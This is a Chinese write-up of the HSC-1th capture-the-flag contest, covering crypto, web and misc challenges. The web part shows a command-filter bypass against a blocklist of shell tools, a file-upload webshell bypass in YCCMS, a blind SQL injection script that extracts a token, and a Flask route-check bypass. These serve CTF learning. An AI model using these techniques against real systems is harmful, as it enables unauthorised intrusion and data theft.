HSC-1th赛后复现

Crypto

Easy SignIn

cipher.txt

5445705857464579517A4A48546A4A455231645457464243566B5579556C7053546C4A4E524564565646644D515670455130354C5755644F5231685256314A5452315A5552304E57576C5A49525430395054303950513D3D

basecrack一把梭

AFFINE

task.txt

# -*- coding: utf-8 -*-
import string
import hashlib

letter=string.ascii_letters+string.digits

def encrypt(m, c, a, b):
    for i in range(len(m)):
        ch=m[i]
        t=(letter.index(ch) * a + b) % 62
        c.append(letter[t])
    d = ''.join(c)
    print(d)

m = 
c = []
a = 
b = 

assert ("flag" in m)

print("加密后的密文为:")
Cipher = encrypt(m, c, a, b)
flag = hashlib.md5("".join(str(m)).encode("utf8")).hexdigest()
#print(flag)
"""
加密后的密文为:
xGJ13kkRK9QDfORQomFOf9NZs9LKVZvGqVIsVO9NOkorv
"""

仿射密码,可以爆破出a=11,b=17,然后爆破出每个字母对应的密文即可

import string
import hashlib

letter=string.ascii_letters+string.digits
cip="xGJ13kkRK9QDfORQomFOf9NZs9LKVZvGqVIsVO9NOkorv"
# print(letter)
t=[]
c="flag"
for i in range(4):
    t.append(letter.index(c[i]))
# print(t)

def encrypt():
    m=[5, 11, 0, 6]
    for a in range(1000):
        for b in range(1000):
            c=[]
            for i in range(4):
                ch=m[i]
                t=(ch * a + b) % 62
                c.append(letter[t])
            d = ''.join(c)
            # print(d)
            if d in cip:
                print(d)
                print("a="+str(a))
                print("b="+str(b))
                break
# encrypt()

def encrypt2(m):
    t=(letter.index(m) * 11 + 17) % 62
    return letter[t]

def dec(cip):
    result=[]
    for i in range(len(cip)):
        for x in letter:
            if cip[i]==encrypt2(x):
                result.append(x)
    return ''.join(result)



F=dec(cip)
F="3242323613"
flag = hashlib.md5("".join(str(F)).encode("utf8")).hexdigest()
print("flag{"+flag+"}")

RSA

task.py

import gmpy2
import sympy
from Crypto.Util.number import *

flag = b'????'

z=getPrime(1024)
p=sympy.nextprime(z)
q=sympy.prevprime(10*z)
n=p*q

m=bytes_to_long(flag)
e=0xe18e
c=pow(m,e,n)

print("n=",n)
print("c=",c)

#n= 124689085077258164778068312042204623310499608479147230303784397390856552161216990480107601962337145795119702418941037207945225700624828698479201514402813520803268719496873756273737647275368178642547598433774089054609501123610487077356730853761096023439196090013976096800895454898815912067003882684415072791099101814292771752156182321690149765427100411447372302757213912836177392734921107826800451961356476403676537015635891993914259330805894806434804806828557650766890307484102711899388691574351557274537187289663586196658616258334182287445283333526057708831147791957688395960485045995002948607600604406559062549703501
#c= 57089349656454488535971268237112640808678921972499308620061475860564979797594115551952530069277022452969364212192304983697546604832633827546853055947447207342333989645243311993521374600648715233552522771885346402556591382705491510591127114201773297304492218255645659953740107015305266722841039559992219190665868501327315897172069355950699626976019934375536881746570219967192821765127789432830133383612341872295059056728626931869442945556678768428472037944494803103784312535269518166034046358978206653136483059224165128902173951760232760915861623138593103016278906012134142386906130217967052002870735327582045390117565

看p,q是这么生成的

p=sympy.nextprime(z)
q=sympy.prevprime(10*z)

由于p和z相近,q和10z相近,所以$p*q \approx 10z^2$,可以求出$z \approx \sqrt{n//10}$。然后爆破z的后几位即可,脚本如下

import gmpy2
import sympy
from Crypto.Util.number import *

n= 124689085077258164778068312042204623310499608479147230303784397390856552161216990480107601962337145795119702418941037207945225700624828698479201514402813520803268719496873756273737647275368178642547598433774089054609501123610487077356730853761096023439196090013976096800895454898815912067003882684415072791099101814292771752156182321690149765427100411447372302757213912836177392734921107826800451961356476403676537015635891993914259330805894806434804806828557650766890307484102711899388691574351557274537187289663586196658616258334182287445283333526057708831147791957688395960485045995002948607600604406559062549703501
C= 57089349656454488535971268237112640808678921972499308620061475860564979797594115551952530069277022452969364212192304983697546604832633827546853055947447207342333989645243311993521374600648715233552522771885346402556591382705491510591127114201773297304492218255645659953740107015305266722841039559992219190665868501327315897172069355950699626976019934375536881746570219967192821765127789432830133383612341872295059056728626931869442945556678768428472037944494803103784312535269518166034046358978206653136483059224165128902173951760232760915861623138593103016278906012134142386906130217967052002870735327582045390117565
e=0xe18e

Z=gmpy2.iroot(n//10,2)[0]
# for a in range(10):
#     for b in range(10):
#         for c in range(10):
#             for d in range(10):
#                 for e in range(10):
#                     z=eval(str(Z)[:-5]+str(a)+str(b)+str(c)+str(d)+str(e))
#                     if isPrime(z):
#                         p=sympy.nextprime(z)
#                         q=sympy.prevprime(10*z)
#                         if p*q==n:
#                             print(p)
#                             print(q)
#                             phi=(p-1)*(q-1)
#                             D=inverse(e,phi)
#                             print(long_to_bytes(pow(C,D,n)))

p=111664266924230584310672217327671667710935047973000520430654738129104995948600035802171323708501939460183230462999012738673733788510305174275781562493391778161104978492924899451563162871226400785486072759568388184737567195610022831797165685808940056623572151053130363074869912224709981475153891324423022575151
q=1116642669242305843106722173276716677109350479730005204306547381291049959486000358021713237085019394601832304629990127386737337885103051742757815624933917781611049784929248994515631628712264007854860727595683881847375671956100228317971656858089400566235721510531303630748699122247099814751538913244230225750851
phi=(p-1)*(q-1)
gcd=gmpy2.gcd(e,phi)
d=gmpy2.invert(e//2,phi)
m=pow(C,d,n)
m=int(gmpy2.iroot(m,2)[0])
print(long_to_bytes(m))

BABY-RSA

task.py

from Crypto.Util.number import *


def lfsr(status,mask):
    out = (status << 1) & 0xffffffff
    i=(status&mask)&0xffffffff
    lastbit=0
    while i!=0:
        lastbit^=(i&1)
        i=i>>1
    out^=lastbit 
    return (out,lastbit)

status= 1
mask = 0b10110001110010011100100010110101

num = bytes_to_long(m)

p = getPrime(1024)
q = getPrime(1024)
n = p*q
e = 65537

hp = bin(p)[2:]
c = pow(num, e, n)

print("n=",n)
print("c=",c)

f=open("key","w+",encoding='utf-8')
for i in range(568):
    curnum = int(hp[i])
    (status,out)=lfsr(status,mask)
    f.write(str(curnum ^ out))
f.close()

'''
n= 9363543374665338283861145656340115756598328744870620756798779080826725774691364161648335378062705433999048117564356637094421930886166369832353405527855104576202658647651524758179962855692461154859961903531990172279764099199157181167775307950690492969859829926808950964120678082460448847927074487568619536568740301649988555476490206693181162301088156855926656544441682939839165455244630182978802660669255401576213941067679888164237586879364615664942234247896214195262510935345922512831632385741735810122730130366521612834556565838623708828780093323310348242654778247293430853566054703991781432542625271396246500576703
c= 3641304537029815746727163894554557322382012539953948183406308231174259571263608621970973671202001456955622458371303424750815017578104069924877881162707673935496925529412748663209884628320657034190702348924814794263041483260377960569530869386619921425415323912964305979776909598200202236912823968867485696101691879580799000240715778010424877093758489309380968229017074542588151574195295436881889313935734282141447498134543053106463951864974512375314091440713165047188590693431938599822340588934591712592995622334522799914563528630705687647950894928965913199772209825508001274120556508220248069647851360567609656517789
'''

key

0101110100100111011011011000111010000111101000101010100100100011010111011000010010100101110110011101110110010100010111001110010011101010111011001100011011010110001010011111111110100110101010101110100110011010110101110110000110010101010000010110100110110110001110101011000011110100011011100101101101001000110010100111000111001111010101011011111110010111100101111001010000100010100001000111010011011111010011101100011101011010011010110001101110110110000110010011001101100000110000110100101010010010110101100101111101110000010011101110010101110100011101100110111111001010

可知key是使用一个线性移位寄存器生成的序列和p的前568位异或得到的。由于LFSR的初始状态和mask确定,所以可以求出前568位输出,进而得到p的前568位。

下面就是已知p高位攻击,直接套脚本即可

dec.sgae

sage: from sage.all import *
....: import binascii
....:
sage: n=0x4a2c6dd9af83d8cc06b4e721475e9d8a9bce1de6ddd43be7658f13bb5c5b452e9f42d9d77b8
....: c5c3e50ef64e0edc524903e8ee759d805a63cfe613ec022115d54e73724ced3bfff73e1872b7b35
....: b040537f8ac89523d9e2860199d6d0b1c4d7830ee5b468bd7406990ffa29caa2d8fad285b3dba20
....: 9b34b427d749d7e2aebded78f49e5017bfeec1cb9f72e63506d82af561a4858f652d3fb152526c1
....: 0c7e4c5e15c84803efac675fb9297d915bd1e2eda5a5de3d48bbf68380303e0d8de81704fff8c9f
....: 07ae4d15212b9066227583345425ba7a04e06fd0c16ec6bfdd764318587d1bfe76a9834043b1639
....: 2018e192456cb3ea994d2a187cabfa706efbee8dbf
sage: cipher=0x1cd83d7b3d4a93a559eb237f959048430021c5d38db0dc4241e526f344b004ea1d239d
....: e89c25a6a73bfe937fcf98dc639d4d2c60db36f088154125c517fc8d3d44caa063d6c9d6ce3e323
....: 2f65137cf700049efa9f5c9981840b5a2164a26621d43f2a800a5168de4677168e1faa0aa89b3be
....: 6d5573d6daa47773aed6973a506f7daaa9197c975deebe7e8027019a71304238ee5bb262e1cc3a2
....: 39869cae075e310f2c29d23f24e6598d53535d6bcbf5073296428861e46813a13fb97b9b2a760ec
....: 293523c6caac7e195992e8227612762761dd2f0d1d6c97e963247006ed2ce5fef09b9e15966f43f
....: 67a621dd963b7b560e1cbd5f614a5e8ba97c393dfe2a49d
sage: e=65537
sage: pbits=1024

for i in range(0,127):
....:     p4=0x807c1395b8128e6de865ab20dd2a39684f6831464553c65215cfe2861192657b6938d2
....: 27c75e902ae858fdbd8b118c8522c08a3bf978bb203bc1644fe526f2de55b065b050795800
....:     p4=p4+int(hex(i),16)
....:     print hex(p4)
....:     kbits = pbits - p4.nbits()  #未知需要爆破的比特位数
....:     print p4.nbits()
....:     p4 = p4 << kbits
....:     PR.<x> = PolynomialRing(Zmod(n))
....:     f = x + p4
....:     roots = f.small_roots(X=2^kbits, beta=0.4) #进行爆破
....:     #rint roots
....:     if roots:        #爆破成功,求根
....:         p = p4+int(roots[0])
....:         print "p: ", hex(int(p))
....:         assert n % p == 0
....:         q = n/int(p)
....:         print "q: ", hex(int(q))
....:         print gcd(p,q)
....:         phin = (p-1)*(q-1)
....:         print gcd(e,phin)
....:         d = inverse_mod(e,phin)
....:         flag = pow(cipher,d,n)
....:         flag = hex(int(flag))[2:-1]
....:         print binascii.unhexlify(flag)

LINE-GENERATION-TEST

提示
“Sorry, Tazmi, I can’t hold you in my arms anymore” Who said that?

提示为希尔密码

在求key的逆矩阵时出现了问题,计算出key行列式的值为2,和模数26不互素,所以没有逆元,无法求逆矩阵。对于这种情况,我们可以通过爆破的方式求解明文矩阵。

使用z3模块解方程,脚本如下

from z3 import *


f=[Int(f'f{i}') for i in range(5)]
out=[9,23,0,13,19]

ss=Solver()

ss.add((f[0]+f[1])%26==out[0])
ss.add((f[1]+f[4])%26==out[1])
ss.add((f[2]+f[3]+f[4])%26==out[2])
ss.add((f[1]+f[2]+f[3])%26==out[3])
ss.add((f[3])%26==out[4])

for i in range(5):
    ss.add(f[i]>=0)
    ss.add(f[i]<26)

ss.check()
m=ss.model()
print(m)
res=''
for i in range(5):
    res+=chr(m[f[i]].as_long()+ord('A'))

print(res)

解得结果为RSCTF,md5后为flag{e4163deba70420c58acb87abcab34141}

Web

Click

点击按钮抓不到包,考虑是前端代码,直接查看源码。在./static/main.js中有flag

var var1="ZmxhZ3tkNTZkNDU5ZC1hODI4LTQ5MGMtYmJiMi04ODllNWY0OGI5YjF9Cg==";var var2=0;var var3=0x7080;var var4="asdfghjklzxcvbnm,qwertyuiop_@.";function func1(a){$("#num").text(a)}
function func2(a){var2++
    func1(var2)
if(var2>=var3 && var2 <= eval("var"+3+"+10")){func1(eval(var4[18]+"in"+var4[2]+var4[25]+"w"+var4[29]+var4[0]+"to"+var4[13])(var1))}
}

Web-sign in

提示robots协议,访问

访问fiag_ls_h3re.php,抓包获得flag

EXEC

页面代码

 <?php
error_reporting(0);
if(isset($_REQUEST["cmd"])){
    $shell = $_REQUEST["cmd"];
    $shell = str_ireplace(" ","",$shell);
    $shell = str_ireplace("\n","",$shell);
    $shell = str_ireplace("\t","",$shell);
    $shell = str_ireplace("?","",$shell);
    $shell = str_ireplace("*","",$shell);
    $shell = str_ireplace("<","",$shell);
    $shell = str_ireplace("system","",$shell);
    $shell = str_ireplace("passthru","",$shell);
    $shell = str_ireplace("ob_start","",$shell);
    $shell = str_ireplace("getenv","",$shell);
    $shell = str_ireplace("putenv","",$shell);
    $shell = str_ireplace("mail","",$shell);
    $shell = str_ireplace("error_log","",$shell);
    $shell = str_ireplace("`","",$shell);
    $shell = str_ireplace("exec","",$shell);
    $shell = str_ireplace("shell_exec","",$shell);
    $shell = str_ireplace("echo","",$shell);
    $shell = str_ireplace("cat","",$shell);
    $shell = str_ireplace("ls","",$shell);
    $shell = str_ireplace("nl","",$shell);
    $shell = str_ireplace("tac","",$shell);
    $shell = str_ireplace("bash","",$shell);
    $shell = str_ireplace("sh","",$shell);
    $shell = str_ireplace("tcp","",$shell);
    $shell = str_ireplace("base64","",$shell);
    $shell = str_ireplace("flag","",$shell);
    $shell = str_ireplace("cp","",$shell);
    exec($shell);
}else{
    highlight_file(__FILE__);
} 

可以进行命令执行,过滤了一些常见的命令。注意exec()函数是没有回显的,所以我们将执行结果写入文件即可。被过滤的命令可以使用单引号绕过。

访问/ctf_is_fun_flag2021,使用通配符绕过f[l]ag

CMS SYSTEM

判断网站CMS为YCCMS,搜索YCCMS相关漏洞,有以下几个相关CNVD

YCCMS代码审计(新手教学方向),这个文章对以上几个漏洞分析得比较详细,不过本题源码略有微调,下面是利用过程。

在/admin登陆处存在未授权更改管理员账号密码,这里我们将账号密码更改为admin

登陆后台,可以看到版本为3.4

YCCMS3.4未授权存在任意文件上传漏洞,我们来分析一下上传logo处的源码,核心代码位于CallAction.class.php#upLoad()

public function upLoad() {
        if (!isset($_SESSION['admin'])) {
            Tool::alertBack('警告:由于未登录导致上传失败!');
        }
		if (isset($_POST['send'])) {
			$_logoupload = new LogoUpload('pic',$_POST['MAX_FILE_SIZE']);
			$_path = $_logoupload->getPath();
			$_img = new Image($_path);
			$_img->xhImg(960,0);
			$_img->out();
			//echo $_path;
			$_logoupload->alertOpenerClose('图片上传成功!','..'.$_path);
		} else {
			exit('警告:文件过大或者其他未知错误导致浏览器崩溃!');
		}
	}

这里相较于原始版本,增加了登陆检查。跟到LogoUpload.class.php#checkType()

...
private $typeArr = array('png');
...

public function __construct($_file,$_maxsize) {
		...
		$this->name = $_FILES[$_file]['name'];
		...
	}


private function checkType() {
		if (!in_array(explode('.',$this->name)[1],$this->typeArr)) {
			Tool::alertBack('警告:LOGO图片必须是PNG格式!');
		}
	}

相较于原始版本对与Content-Type的检查,这里将源码改成了对文件的后缀名进行判断。可以使用name.png.php进行绕过。上传时网站会将文件重命名,功能位于LogoUpload.class.php#setNewName()

private function setNewName() {
		$_nameArr = explode('.',$this->name);
		$_postfix = $_nameArr[count($_nameArr)-1];
		//$_newname = date('YmdHis').mt_rand(100,1000).'.'.$_postfix;
		$_newname = 'logo.'.$_postfix;
		$this->linkpath = UPLOGO.$_newname;
		return $this->path.$_newname;
	}

假如我们传入name.png.php,后台会将文件名称改为logo.php。比赛时没有仔细看源码,导致我以为木马没有被上传上去,很亏这题。。

再往后代码根据path,new了一个Image类。在Image.class.php#getFromImg()中,对图片类型进行判断。其中$_type参数来自getimagesize()函数。而该函数对于文件类型的判断是依赖于文件头的,所以我们在文件头部添加GIF89a进行绕过。

public function __construct($_file) {
		$this->file = ROOT_PATH.$_file;
		list($this->width, $this->height, $this->type) = getimagesize($this->file);
		$this->img = $this->getFromImg($this->file, $this->type);
	}
...
private function getFromImg($_file, $_type) {
		switch ($_type) {
			case 1 :
				$img = imagecreatefromgif($_file);
				break;
			case 2 :
				$img = imagecreatefromjpeg($_file);
				break;
			case 3 : 
				$img = imagecreatefrompng($_file);
				break;
			default:
				Tool::alertBack('警告:此图片类型本系统不支持!');
		}
		return $img;
	}

测试上传

蚁剑连接成功

Languages

下载附件,有python和go源码,其中python用于前端路由,go用于后端校验。

关键代码如下

app.py

from flask import Flask, request, render_template, jsonify
from urllib.parse import unquote
import requests

app = Flask(__name__)

server = '127.0.0.1:8000'


@app.route("/", methods=["GET"])
def index():
    return render_template("index.html")


@app.route("/list", methods=["POST"])
def listAll():
    r = requests.post(f"http://{server}/api/list")
    return jsonify(r.json())


@app.route("/search", methods=["GET", "POST"])
def search():
    if request.method == "GET":
        return render_template("search.html")
    else:
        data = request.json
        if data['name']:
            if not isinstance(data['name'], str) or not data['name'].isalnum():
                return jsonify({"error": "Bad word detected"})
        if data['votes']:
            if not isinstance(data['votes'], int):
                return jsonify({"error": "Bad word detected"})
        r = requests.post(f"http://{server}/api/search", data=request.data)
        return jsonify(r.json())


@app.route("/healthcheck", methods=["GET"])
def healthCheck():
    getPath = ["", "flag"]
    postPath = ["api/list", "api/search"]
    try:
        for path in getPath:
            requests.get(f"http://{server}/{path}")
        for path in postPath:
            requests.post(f"http://{server}/{path}")
    except:
        return "Down"
    return "OK"


@app.route("/<path:path>", methods=["GET"])
def handle(path):
    if 'flag' in unquote(path):
        action = request.args.get('action')
        token = request.args.get('token')
        print(action)
        if action == "readFlag":
            return jsonify({"error": "Sorry, readFlag is not permitted"})
        r = requests.get(f"http://{server}/{path}", params={
            "action": action,
            "token": token
        })
    else:
        r = requests.get(f"http://{server}/{path}")
    return jsonify(r.text)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

backend.go

package controller

import (
	db "ctf/database"
	"encoding/json"
	"fmt"
	"github.com/buger/jsonparser"
	"io/ioutil"
	"net/http"
)

type Language struct {
	Id  int32  `json:"id"`
	Name string `json:"name"`
	Votes int64 `json:"votes"`
}


func Index(w http.ResponseWriter, _ *http.Request) {
	ok(w, "Hello World!")
}

func List(w http.ResponseWriter, _ *http.Request) {

	rows, err := db.Sqlite.Query("SELECT * FROM languages;")
	if err != nil {
		fail(w, "Something wrong")
		fmt.Println(err.Error())
		return
	}
	defer rows.Close()

	res := make([]Language, 0)
	for rows.Next() {
		var pl Language
		_ = rows.Scan(&pl.Id, &pl.Name, &pl.Votes)
		res = append(res, pl)
	}
	err = json.NewEncoder(w).Encode(res)
}

func Search(w http.ResponseWriter, r *http.Request) {
	reqBody, _ := ioutil.ReadAll(r.Body)

	votes, err := jsonparser.GetInt(reqBody, "votes")
	if err != nil {
		fail(w, "Error reading votes")
		return
	}
	name, err := jsonparser.GetString(reqBody, "name")
	if err != nil {
		fail(w, "Error reading name")
		return
	}

	query := fmt.Sprintf("SELECT * FROM languages WHERE votes >= %d OR name LIKE '%s';", votes, name)
	rows, err := db.Sqlite.Query(query)
	if err != nil {
		fail(w, "Something wrong")
		fmt.Println(err.Error())
		return
	}
	res := make([]Language, 0)
	for rows.Next() {
		var pl Language
		_ = rows.Scan(&pl.Id, &pl.Name, &pl.Votes)
		res = append(res, pl)
	}
	err = json.NewEncoder(w).Encode(res)
}


func Flag(w http.ResponseWriter, r *http.Request ) {
	action:= r.URL.Query().Get("action")
	if action == "" {
		fail(w, "Error getting action")
		return
	}

	token:= r.URL.Query().Get("token")
	if token == "" {
		fail(w, "Error getting token")
		return
	}

	var secret string
	row := db.Sqlite.QueryRow("SELECT secret FROM token;")
	if err := row.Scan(&secret); err != nil {
		fail(w, "Error querying secret token")
		return
	}

	if action == "readFlag" && secret == token {
		data, err := ioutil.ReadFile("flag")
		if err != nil {
			fail(w, "Error reading flag")
			return
		}
		ok(w, fmt.Sprintf("Congrats this is your flag: %s", string(data)))
		return
	}
	ok(w, "Wrong token")
}

根据python的源码我们可知如下信息:存在//list/search/healthcheck/flag等路由,访问/search会进行json数据进行sql查询,访问/flag会将actiontoken等参数发送给后端。

在go源码中可以看见后端的sql查询语句SELECT * FROM languages WHERE votes >= %d OR name LIKE '%s';,可知在name处存在sql注入。当我们访问/search的时候就会执行sql语句。而token是根据SELECT secret FROM token;语句查询出来的。

Python和GO对于JSON的解析存在差异:对于JSON中重复的键值对,Python会解析前一个,而GO会解析后一个,因此我们可以利用这点来绕过检查

后端为sqlite数据库,直接进行盲注,使用'来闭合

import requests

url="http://9077c72e-7be0-415e-a01f-f50611e5935e.node.honkersecuritycommando.site:8080/search"

def sql(payload):
    proxies = {'http': 'http://127.0.0.1:8080', 'https': 'https://127.0.0.1:8080'}

    data='''{
    "id":1,
    "name":"'''+payload+'''",
    "name":"java",
    "votes":10000
    }'''
    headers={
        "Content-Type": "application/json"
    }

    r=requests.post(url,headers=headers,data=data,proxies=proxies)
    return r.text

if __name__=="__main__":
    flag=''
    for i in range(1, 200):
        print("------------------" + str(i) + "------------------")
        for j in range(32,127):
            #3.36.0
            # payload="java' and substr(sqlite_version(),{},1)='{}' and  '1'='1".format(i,chr(j))
            #token,languages
            # payload = "java' and substr((select group_concat(tbl_name) from sqlite_master where type='table'),{},1)='{}' and  '1'='1".format(i, chr(j))
            # payload = "java' and substr((select group_concat(sql) from sqlite_master where type='table'),{},1)='{}' and  '1'='1".format(i, chr(j))
            #re@l1y_4th_T0k3n
            payload = "java' and substr((SELECT group_concat(secret) FROM token),{},1)='{}' and  '1'='1".format(i, chr(j))
            if "java" in sql(payload):
                flag+=chr(j)
                break

        print(flag)

#re@l1y_4th_T0k3n

在python和go中,均对action进行了校验

@app.route("/<path:path>", methods=["GET"])
def handle(path):
    if 'flag' in unquote(path):
        action = request.args.get('action')
        token = request.args.get('token')
        print(action)
        if action == "readFlag":
            return jsonify({"error": "Sorry, readFlag is not permitted"})
        r = requests.get(f"http://{server}/{path}", params={
            "action": action,
            "token": token
        })
    else:
        r = requests.get(f"http://{server}/{path}")
    return jsonify(r.text)
if action == "readFlag" && secret == token {
		data, err := ioutil.ReadFile("flag")
		if err != nil {
			fail(w, "Error reading flag")
			return
		}
		ok(w, fmt.Sprintf("Congrats this is your flag: %s", string(data)))
		return
	}

我们可以利用Flask的路由特性进行绕过,在Flask中是根据?来判断GET参数的,但是并不会识别URL编码的%3f,被转码后只会被当作正常的路径对待,测试如下

from urllib.parse import unquote
from flask import *

app=Flask(__name__)

@app.route("/<path:path>", methods=["GET"])
def handle(path):
    if 'flag' in unquote(path):
        action = request.args.get('action')
        if action == "readFlag":
            return jsonify({"error": "Sorry, readFlag is not permitted"})
    return path

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888,debug=True)

/flag%3faction=a会被识别为一个路径

绕过如下

Misc

DORAEMON

爆破六位密码即可,密码376852,得到以下图片

010打开CRC报错,使用脚本修复

import binascii
import struct
import sys

file="flagindoraemon.png"
fr = open(file,'rb').read()
data = bytearray(fr[0x0c:0x1d])
crc32key = eval('0x'+str(binascii.b2a_hex(fr[0x1d:0x21]))[2:-1])
#原来的代码: crc32key = eval(str(fr[29:33]).replace('\\x','').replace("b'",'0x').replace("'",''))
n = 4095
for w in range(n):
    width = bytearray(struct.pack('>i', w))
    for h in range(n):
        height = bytearray(struct.pack('>i', h))
        for x in range(4):
            data[x+4] = width[x]
            data[x+8] = height[x]
        crc32result = binascii.crc32(data) & 0xffffffff
        if crc32result == crc32key:
            print(width,height)
            newpic = bytearray(fr)
            for x in range(4):
                newpic[x+16] = width[x]
                newpic[x+20] = height[x]
            fw = open(file,'wb')
            fw.write(newpic)
            fw.close
            sys.exit()

补全二维码即可

汝闻,人言否

PNG文件,010打开,在PNG文件末尾IEND处发现被倒置的ZIP head,提取出来并将各处被倒置的标志PK恢复

在文件末尾发现疑似密码的字符串,发现是键盘密码。解密得密码WVALOU

qazsedcftrfvgycft6yhntgbnytfvbhyik,.;p

解压得到flag文件,用010打开查看文件头为RIFF

将flag文件结尾改成.wav,Audacity转频谱图

wireshark

题目给了一个加密压缩包,010打开发现含有PNG文件头,分离得到一张PNG图片

使用Stegsolve进行分析,发现LSB隐写了一张PNG图片。

提取得到一张二维码,扫码得到wrsak..iehr370

考虑可能是栅栏密码,解密得wireshark3.7.0

010打开解压文件,发现PDF结尾。补上PDF头25 50 44 46 2D 31 2E

利⽤wbstego分析得到flag{Go0dJ0B_y0ufIndLt}

PERFORMANCE-ART

给了一张图片

标准银河字母+凹凸字体

标准银河字母_搜狗百科
标准银河字母
凹凸字体

手动解密得到一个压缩包

504b03041400000008004a7e7253148e1e
1e160000001400000006000000756e6b6e6
f778bcaadc888322ec9f30b752df70c
cfae8cca72b30400504b01021f0014000
00008004a7e7253148e1e1e16000000140
000000600240000000000000020000000000
00000756e6b6e6f770a002000000000000
1001800778284ef50dcd7016b04efef5
0dcd701e1b0ef144fdcd701504b05060
000000001000100580000003a0000000000

解密得到ZmxhZ3tnNUEwIWkyZjF9,base64解码得到flag{g5A0!i2f1}

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇